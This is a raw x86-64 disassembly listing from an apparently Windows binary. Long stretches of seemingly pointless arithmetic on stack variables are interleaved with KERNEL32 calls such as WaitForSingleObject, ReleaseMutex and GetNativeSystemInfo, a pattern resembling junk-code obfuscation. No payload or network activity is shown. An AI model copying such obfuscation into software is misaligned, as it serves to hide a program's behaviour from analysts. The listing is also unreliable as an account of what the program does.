mov qword [rsp + 0x61b8], rax
movzx eax, word [rsp + 0x654]
mov rcx, qword [rsp + 0x5ec0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c2f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x5ab0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5a30]
mov rcx, qword [rsp + 0x3510]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6000]
mov rcx, qword [rsp + 0x39b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5bf8], rax
movzx eax, word [rsp + 0xcdc]
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xdd0]
movzx ecx, word [rsp + 0xde8]
and eax, ecx
mov rcx, qword [rsp + 0x4280]
mov word [rcx], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x15a]
mov qword [rsp + 0x61c0], rax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x4c60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x55f0]
mov qword [rcx], rax
lea rax, [0x14018be78]
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x4068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6048]
mov qword [rsp + 0x61d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5a58], rax
lea rax, [rsp + 0xd3c]
mov qword [0x14018c378], rax
movzx eax, word [rsp + 0x478]
movzx ecx, word [rsp + 0x61c]
add eax, ecx
mov word [rsp + 0xcb8], ax
mov rcx, qword [rsp + 0x55a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1be]
mov qword [rsp + 0x61d8], rax
mov rax, qword [rsp + 0x4af0]
mov rcx, qword [rsp + 0x4410]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5930]
mov dword [rcx], eax
lea rax, [rsp + 0x5f10]
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x5350]
mov ecx, dword [rsp + 0x2010]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x43f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4440]
mov rcx, qword [rsp + 0x2e28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cb8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x187]
movsx ecx, byte [0x14018bdc7]
shl eax, cl
mov byte [rsp + 0xb4], al
movsx eax, word [rsp + 0x554]
movsx ecx, word [rsp + 0xd74]
xor eax, ecx
mov word [rsp + 0x3f8], ax
movzx eax, word [rsp + 0xcd8]
movzx ecx, word [rsp + 0x3f0]
sar eax, cl
mov word [0x14018bee8], ax
lea rax, [rsp + 0x5668]
mov qword [rsp + 0x61e8], rax
movzx eax, word [rsp + 0x478]
movzx ecx, word [rsp + 0xd58]
add eax, ecx
mov word [rsp + 0xbc0], ax
mov rax, qword [rsp + 0x3e18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
lea rax, [rsp + 0x40b0]
mov qword [rsp + 0x61f0], rax
mov rax, qword [rsp + 0x4260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bec], eax
lea rax, [rsp + 0x59e0]
mov qword [rsp + 0x61f8], rax
mov rax, qword [0x14018bf70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0xda8]
mov qword [rsp + 0x6200], rax
mov rax, qword [rsp + 0x3820]
mov rcx, qword [rsp + 0x3630]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2100]
movzx ecx, al
mov eax, dword [rsp + 0x215c]
sar eax, cl
mov rcx, qword [rsp + 0x4df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d8]
sub eax, ecx
mov byte [rsp + 0x177], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x6208], rax
movzx eax, word [rsp + 0x544]
movzx ecx, word [rsp + 0x4c8]
add eax, ecx
mov rcx, qword [rsp + 0x3e38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0x52f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5890]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3e30]
mov dword [rcx], eax
lea rax, [rsp + 0x9a8]
mov qword [rsp + 0x6210], rax
mov rax, qword [rsp + 0x6180]
movzx eax, word [rax]
mov word [0x14018c380], ax
mov rax, qword [rsp + 0x5578]
mov rcx, qword [rsp + 0x5f50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5ae8]
mov qword [rcx], rax
lea rax, [rsp + 0x3280]
mov qword [rsp + 0x6218], rax
mov rax, qword [rsp + 0x2b98]
movzx ecx, al
mov rax, qword [rsp + 0x2b68]
shl rax, cl
mov qword [rsp + 0x3de8], rax
mov rax, qword [rsp + 0x4ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x768]
sub eax, ecx
mov rcx, qword [rsp + 0x5fe0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ec4]
movzx ecx, al
mov eax, dword [rsp + 0x1c80]
shr eax, cl
mov dword [rsp + 0x1b10], eax
mov rax, qword [rsp + 0x54b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a2]
add eax, ecx
mov rcx, qword [rsp + 0x54b0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x5980]
mov qword [rsp + 0x6220], rax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4478]
mov rcx, qword [rsp + 0x44b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
lea rax, [rsp + 0xd84]
mov qword [0x14018c388], rax
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x6228], rax
movzx eax, word [rsp + 0xe08]
movzx ecx, word [rsp + 0xcf0]
add eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
lea rax, [rsp + 0x39b8]
mov qword [rsp + 0x6230], rax
mov rax, qword [rsp + 0x4408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4440]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x6238], rax
mov rax, qword [rsp + 0x5238]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4708]
mov qword [rsp + 0x6240], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6240]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc70], ax
movzx eax, word [rsp + 0xde0]
mov word [rsp + 0xe14], ax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4178]
mov rcx, qword [rsp + 0x5728]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14018c018], rax
movzx eax, word [rsp + 0xcf0]
movzx ecx, word [rsp + 0x654]
shl eax, cl
mov rcx, qword [rsp + 0x3ff0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4718]
mov rax, qword [rax]
mov rcx, qword [0x14018ad28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ff8], rax
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4770]
mov qword [rcx], rax
mov rax, qword [0x14018bfa0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d4c]
shr eax, cl
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x6248], rax
mov rax, qword [rsp + 0x4840]
mov rcx, qword [rsp + 0x5730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c2c], eax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x1e3], al
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x47d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018bf4c], ax
movsx eax, word [0x14018c148]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x53b0]
mov word [rcx], ax
lea rax, [rsp + 0x544]
mov qword [rsp + 0x6250], rax
movzx eax, word [rsp + 0x3dc]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f90]
mov word [rcx], ax
mov eax, dword [rsp + 0x1fd8]
mov dword [rsp + 0x2174], eax
movsx eax, byte [rsp + 0x1ac]
mov rcx, qword [rsp + 0x6238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x6258], rax
mov rax, qword [rsp + 0x58b8]
movsx eax, word [rax]
mov rcx, qword [0x14018c258]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
mov edx, 0x1904
mov rcx, qword [rsp + 0x5ab0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x5ec0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd8c]
or eax, ecx
mov rcx, qword [rsp + 0x5568]
mov word [rcx], ax
lea rax, [rsp + 0x3080]
mov qword [0x14018c390], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x6260], rax
mov rax, qword [rsp + 0x55c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ad0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6080]
mov qword [rcx], rax
lea rax, [rsp + 0x5fa8]
mov qword [rsp + 0x6268], rax
mov rax, qword [rsp + 0x56a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x58f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3a4], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x5d50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d08], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x211c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fa4], eax
mov rax, qword [rsp + 0x3930]
mov rcx, qword [rsp + 0x3670]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1ff4]
mov dword [rsp + 0x217c], eax
movsx eax, byte [rsp + 0x1e2]
movsx ecx, byte [rsp + 0x1a0]
sar eax, cl
mov rcx, qword [0x14018be98]
mov byte [rcx], al
movsx eax, word [0x14018c170]
mov rcx, qword [rsp + 0x4980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcbc], ax
movsx eax, word [rsp + 0x624]
movsx ecx, word [rsp + 0x3ac]
sub eax, ecx
mov rcx, qword [rsp + 0x5d98]
mov word [rcx], ax
lea rax, [rsp + 0x404]
mov qword [rsp + 0x6270], rax
mov rax, qword [0x14018c050]
mov rcx, qword [rsp + 0x2ac8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x57d0]
mov qword [rcx], rax
lea rax, [rsp + 0x20e4]
mov qword [rsp + 0x6278], rax
mov rax, qword [rsp + 0x5ac8]
mov rcx, qword [rsp + 0x5ca8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5940]
mov qword [rcx], rax
mov rax, qword [0x14018c200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
and eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
lea rax, [rsp + 0xcac]
mov qword [rsp + 0x6280], rax
movzx eax, word [rsp + 0xd58]
mov word [0x14018c398], ax
mov rax, qword [rsp + 0x3f50]
mov rcx, qword [rsp + 0x4f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5828], rax
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x994], ax
mov eax, dword [rsp + 0x2028]
mov ecx, dword [rsp + 0x1f68]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov dword [rcx], eax
mov edx, 0x1505
mov rcx, qword [rsp + 0x60d8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2180], eax
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x4c28]
mov qword [rsp + 0x6288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6288]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [0x14018bdc6]
sar eax, cl
mov rcx, qword [rsp + 0x42e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5f60]
mov eax, dword [rax]
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x52b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [0x14018c370]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018ad98], ax
lea rax, [rsp + 0x39b8]
mov qword [rsp + 0x6290], rax
mov rax, qword [rsp + 0x5a58]
mov rcx, qword [rsp + 0x4730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ec0], rax
mov rax, qword [0x14018bdd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x958], ax
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x6298], rax
mov eax, dword [rsp + 0x1fd8]
mov rcx, qword [rsp + 0x6088]
mov qword [rsp + 0x62a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2150], eax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0x62a8], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd18], ax
mov rax, qword [rsp + 0x57a0]
mov rcx, qword [rsp + 0x56f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5628]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4068]
mov rcx, qword [rsp + 0x3650]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5578]
mov qword [rcx], rax
movsx eax, word [0x14018be58]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018beb8]
mov word [rcx], ax
lea rax, [rsp + 0xad4]
mov qword [rsp + 0x62b0], rax
mov rax, qword [rsp + 0x5210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x215c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3e58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [rsp + 0x5668]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4120]
mov qword [rcx], rax
movsx eax, byte [0x14018bdc7]
movsx ecx, byte [rsp + 0x1b9]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e4]
mov dword [rsp + 0x2188], eax
mov rax, qword [rsp + 0x3870]
movzx ecx, al
mov rax, qword [rsp + 0x54c8]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x62b8], rax
lea rax, [rsp + 0x558]
mov qword [0x14018c3a0], rax
mov rax, qword [rsp + 0x52e0]
mov rcx, qword [rsp + 0x59a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2d90], rax
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0x62c0], rax
movsx eax, word [0x14018c220]
movsx ecx, word [rsp + 0xd74]
add eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
mov rax, qword [rsp + 0x4108]
mov rcx, qword [rsp + 0x4d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3250], rax
mov rax, qword [rsp + 0x3e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bc8], eax
mov rax, qword [rsp + 0x2b40]
mov rcx, qword [rsp + 0x5d40]
mov qword [rsp + 0x62c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4340]
movzx eax, byte [rax]
mov byte [rsp + 0x1e5], al
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c128]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x80]
movzx ecx, byte [0x14018acda]
cdq
idiv ecx
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0x20dc]
mov qword [rsp + 0x62d0], rax
mov rax, qword [rsp + 0x5a88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd44]
or eax, ecx
mov word [rsp + 0x958], ax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x62d8], rax
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov rcx, qword [0x14018bde0]
mov qword [rsp + 0x62e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4540], rax
mov rax, qword [rsp + 0x3e88]
movzx eax, byte [rax]
mov byte [rsp + 0x1e6], al
movsx eax, word [rsp + 0xb48]
movsx ecx, word [rsp + 0xc1c]
sar eax, cl
mov rcx, qword [rsp + 0x5340]
mov word [rcx], ax
lea rax, [rsp + 0xd58]
mov qword [0x14018c3a8], rax
lea rax, [rsp + 0x61a0]
mov qword [rsp + 0x62e8], rax
mov rax, qword [rsp + 0x5050]
mov rcx, qword [rsp + 0x5fd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a10], rax
lea rax, [rsp + 0x32d0]
mov qword [rsp + 0x62f0], rax
movsx eax, word [rsp + 0xce8]
mov rcx, qword [rsp + 0x4c58]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4fc0]
mov word [rcx], ax
mov rax, qword [0x14018bee0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b38]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x187], al
lea rax, [rsp + 0x20ec]
mov qword [rsp + 0x62f8], rax
mov rax, qword [rsp + 0x5838]
mov rcx, qword [rsp + 0x5740]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5d90], rax
mov eax, dword [rsp + 0x202c]
mov ecx, dword [rsp + 0x20e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b90], eax
movzx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x56e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x53b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3cf0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c240]
mov word [rcx], ax
mov rax, qword [rsp + 0x62b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x49b8]
mov word [rcx], ax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x54b8]
movzx eax, word [rax]
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x4b88]
mov rcx, qword [rsp + 0x4360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x48f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5360]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12e], al
mov rax, qword [rsp + 0x3f88]
mov rcx, qword [rsp + 0x6098]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5a50]
mov qword [rsp + 0x6300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6300]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5570]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f18]
movzx eax, word [rax]
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
movzx ecx, word [0x14018c0cc]
xor eax, ecx
mov rcx, qword [rsp + 0x4070]
mov word [rcx], ax
lea rax, [rsp + 0x2b60]
mov qword [0x14018c3b0], rax
lea rax, [rsp + 0xd68]
mov qword [rsp + 0x6308], rax
mov rax, qword [rsp + 0x5680]
mov rcx, qword [rsp + 0x50b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4610], rax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [0x14018bf30]
mov qword [rsp + 0x6310], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6310]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5f58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1e34]
mov dword [rsp + 0x218c], eax
mov rax, qword [rsp + 0x6258]
mov rcx, qword [rsp + 0x4060]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4408]
mov qword [rcx], rax
lea rax, [rsp + 0x1be]
mov qword [rsp + 0x6318], rax
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [rsp + 0x4a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x48d0]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acdb]
add eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x52a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5fe0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14018be7c], ax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4970]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x3cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5650]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcd0], ax
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0x6320], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2188]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
mov rax, qword [0x14018ad18]
mov qword [rsp + 0x6328], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6070]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4270]
mov byte [rcx], al
mov rax, qword [rsp + 0x5918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
xor eax, ecx
mov rcx, qword [rsp + 0x5708]
mov word [rcx], ax
movzx eax, word [0x14018c070]
mov rcx, qword [rsp + 0x5cf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x67c], ax
lea rax, [rsp + 0x3250]
mov qword [0x14018c3b8], rax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3098], rax
lea rax, [rsp + 0x5ee0]
mov qword [rsp + 0x6330], rax
mov rax, qword [rsp + 0x5700]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4350], rax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [0x14018ad20]
sar eax, cl
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x6338], rax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x215c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2108], eax
lea rax, [rsp + 0x59e0]
mov qword [rsp + 0x6340], rax
mov rax, qword [rsp + 0x5608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x48f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14018bdc7], al
mov rax, qword [rsp + 0x4e48]
movzx eax, word [rax]
mov word [rsp + 0xe20], ax
movsx eax, word [0x14018c170]
mov rcx, qword [rsp + 0x4b50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6028]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x49a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd9c], ax
mov rax, qword [rsp + 0x3080]
mov rcx, qword [0x14018c390]
mov qword [rsp + 0x6348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6348]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x35f0], rax
mov rax, qword [rsp + 0x42f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0x6350], rax
mov rax, qword [rsp + 0x2d50]
mov rcx, qword [0x14018be48]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5940]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x4fc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd6c], ax
lea rax, [rsp + 0xe0c]
mov qword [0x14018c3c0], rax
lea rax, [rsp + 0x5da0]
mov qword [rsp + 0x6358], rax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
sub eax, ecx
mov rcx, qword [rsp + 0x4668]
mov word [rcx], ax
lea rax, [rsp + 0x177]
mov qword [rsp + 0x6360], rax
mov rax, qword [rsp + 0x5da8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1cb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4840]
mov dword [rcx], eax
